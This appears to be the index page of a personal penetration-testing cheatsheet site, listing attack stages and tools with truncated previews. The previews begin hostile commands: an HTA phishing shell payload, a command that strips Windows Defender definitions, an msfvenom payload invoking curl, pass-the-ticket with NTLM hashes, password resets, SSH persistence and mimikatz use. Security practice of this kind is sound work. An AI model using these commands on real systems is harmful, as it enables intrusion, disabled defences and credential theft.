Hacking
Fresh builds
pimp-my-kali I use this to install all tools like impacket and so on .zshrc modifications I’ve...
Cheatsheets
Advanced Methodology
1. Enumeration
Automated approach autorecon TARGET_IP Manual approach nmap TARGET_IP -p- --min-rate 1400 -sV ...
2. Initial Access
Phishing
HTA payloads Ping <html> <head> <script language="JScript"> var shell = new ActiveXObject(...
3. Privilege Escalation - Windows
PowerUp Upload the following script to the host /usr/share/windows-resources/powersploit/Pri...
4. Post Compromise
Blast AV and enable RDP with hashes cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRu...
5. Persistence
Linux - SSH On your host cat ~/.ssh/id_rsa.pub # if you don't have one create run: ssh-key -t r...
6. Pivot
You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Ap...
Linux AD
Tools required <https://github.com/its-a-feature/KeytabParser> <https://github.com/sosdave/KeyT...
Blast Defender
Via command prompt cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinit...
Tools
autorecon
Basic usage autorecon TARGET_IP Scanning multiple hosts autorecon -t targets.txt #or the belo...
nmap
Base Syntax nmap {Targets} [ScanType] [Options] Target Purpose Example 1 targe...
wpscan
Basic usage wpscan --url http://TARGET_IP Scan for plugins wpscan --url http://TARGET_IP -e p ...
fuff
Basic Usage ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://TARGET...
nikto
Basic usage nikto -host http://TARGET_IP -p PORT
gobuster
Basic usage gobuster dir -u http://TARGET_IP:PORT -w /usr/share/wordlists/seclists/Discovery/Web...
netexec
Enumeration SMB netexec smb targets.txt -u user_name -H 'NTLM_HASH' netexec smb TARGET_IP ...
powerview
1. Enumerate common names Get-DomainComputer | select cn
msf
Linux payloads With commands msfvenom -p linux/x64/exec CMD='echo I love programming. && curl h...
rubeus
Rubeus.exe asktgt /user:username /rc4:NTLM_hash /ptt
powersploit
Reset a user’s password $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Forc...
mimikatz
You will need to first upload the binaries to the target, either via a meterpreter shell or power...
ligolo-ng
You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Appl...